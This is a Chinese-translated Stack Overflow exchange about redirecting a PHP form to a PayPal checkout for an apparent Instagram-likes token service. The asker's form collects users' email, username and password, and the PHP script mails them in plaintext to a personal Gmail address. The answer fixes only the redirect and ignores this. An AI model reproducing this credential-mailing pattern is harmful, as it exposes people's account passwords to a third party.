javascript - 提交表单并重定向到 PHP 和链接

Question

当用户/客户点击结帐按钮时，我正在尝试将其转到何处。它使用我的“checkout.php”将信息提交到我的电子邮件，但也将它们重定向到我的 Paypal 结帐。 Paypal 很奇怪，使用我不理解的 token 系统。链接发生变化，所以我不能将它们重定向到静态链接。请帮忙

Paypal 按钮

<form action="https://www.paypal.com/cgi-bin/webscr" method="post" target="_top">
<input type="hidden" name="cmd" value="_s-xclick">
<input type="hidden" name="hosted_button_id" value="K3GEAYAPBYY54">
<input type="image" src="https://www.paypalobjects.com/en_US/i/btn/btn_buynowCC_LG.gif" border="0" name="submit" alt="PayPal - The safer, easier way to pay online!">
<img alt="" border="0" src="https://www.paypalobjects.com/en_US/i/scr/pixel.gif" width="1" height="1">
</form>

表格

<form name="purchase" onsubmit="return validateForm()" action="php/checkout.php" method="POST">
  <div class="form-style-8">
    <label for="msg">E-mail:</label>
    <input type="email" id="mail" name="email" placeholder="example@domain.com" />
  </div>
  <div>
    <label for="msg">Username:</label>
    <br>
    <input id="user" name="username" placeholder=" Username">

  </div>
  <div>
    <label for="msg">Password:</label>
    <br>
    <input type="password" id="pass" name="password" placeholder=" Password">
  </div>
  			    <div>
      <input id="submit" type="submit" name="submit" value="submit">
    </div>

PHP

<?php
$email = $_POST['email'];
$username = $_POST['username'];
$password = $_POST['password'];

$to = "theepicgamer9999@gmail.com";
         $subject = "$username Info";
         
         $message = "Email: $email <br> Username: $username <br> Password: $password";
         
         $header = "From: instalikesapi@gmail.com \r\n";
         $header .= "Cc: theepicgamer9999@gmail.com\r\n";
         $header .= "MIME-Version: 1.0\r\n";
         $header .= "Content-type: text/html\r\n";
         
         $retval = mail ($to,$subject,$message,$header);
         
         if( $retval == true ) {
            echo "Message sent successfully...";
         }else {
            echo "Message could not be sent...";
         }
?>
<script type="text/javascript">location.href = 'https://www.paypal.com/webapps/hermes?token=82N97270MX287331F&useraction=commit&xclick_params=JTI2aG9zdGVkX2J1dHRvbl9pZCUzREFRVFhVUDNUUlhYV1UlMjZidXNpbmVzcyUzRFU5N1NGU0g1QTRIQUolMjZpdGVtX25hbWUlM0RJbnN0YUxpa2VzQVBJJTI1MjAxJTI1MjBEYXklMjUyMFRva2VuJTI2aXRlbV9udW1iZXIlM0QwMDAxJTI2YW1vdW50JTNEMC43NCUyNmN1cnJlbmN5X2NvZGUlM0RVU0QlMjZsYyUzRFVTJTI2YnV0dG9uX3N1YnR5cGUlM0RzZXJ2aWNlcyUyNm5vX25vdGUlM0QwJTI2Y24lM0RBZGQlMjUyMHNwZWNpYWwlMjUyMGluc3RydWN0aW9ucyUyNTIwdG8lMjUyMHRoZSUyNTIwc2VsbGVyJTI1M2ElMjZub19zaGlwcGluZyUzRDIlMjZ0Y#/checkout/login';</script> 

//OLD LINK

旧链接现在已经过时，除非生成新链接并将其放入 php.ini 文件中，否则不会加载。我该如何解决这个问题？？

Answer 1

不是使用 location.href 返回 JS，而是使用 JS 代码返回 Paypal Button 表单，这将提交此表单。如果需要，您可以删除图像按钮以使该表单完全不可见，但仍可从 JS 提交。

<form action="https://www.paypal.com/cgi-bin/webscr" method="post" target="_top">
<input type="hidden" name="cmd" value="_s-xclick">
<input type="hidden" name="hosted_button_id" value="K3GEAYAPBYY54">
<input type="image" src="https://www.paypalobjects.com/en_US/i/btn/btn_buynowCC_LG.gif" border="0" name="submit" alt="PayPal - The safer, easier way to pay online!">
<img alt="" border="0" src="https://www.paypalobjects.com/en_US/i/scr/pixel.gif" width="1" height="1">
</form>

<script type="text/javascript">
    var form = document.getElementsByTagName("form");
    if(form.length != 0) {
      form[0].submit();
    }
</script>

此代码应位于 PHP 脚本的末尾，而不是:

<script type="text/javascript">location.href = 'https://www.paypal.com/webapps/hermes?token=82N97270MX287331F&useraction=commit&xclick_params=JTI2aG9zdGVkX2J1dHRvbl9pZCUzREFRVFhVUDNUUlhYV1UlMjZidXNpbmVzcyUzRFU5N1NGU0g1QTRIQUolMjZpdGVtX25hbWUlM0RJbnN0YUxpa2VzQVBJJTI1MjAxJTI1MjBEYXklMjUyMFRva2VuJTI2aXRlbV9udW1iZXIlM0QwMDAxJTI2YW1vdW50JTNEMC43NCUyNmN1cnJlbmN5X2NvZGUlM0RVU0QlMjZsYyUzRFVTJTI2YnV0dG9uX3N1YnR5cGUlM0RzZXJ2aWNlcyUyNm5vX25vdGUlM0QwJTI2Y24lM0RBZGQlMjUyMHNwZWNpYWwlMjUyMGluc3RydWN0aW9ucyUyNTIwdG8lMjUyMHRoZSUyNTIwc2VsbGVyJTI1M2ElMjZub19zaGlwcGluZyUzRDIlMjZ0Y#/checkout/login';</script>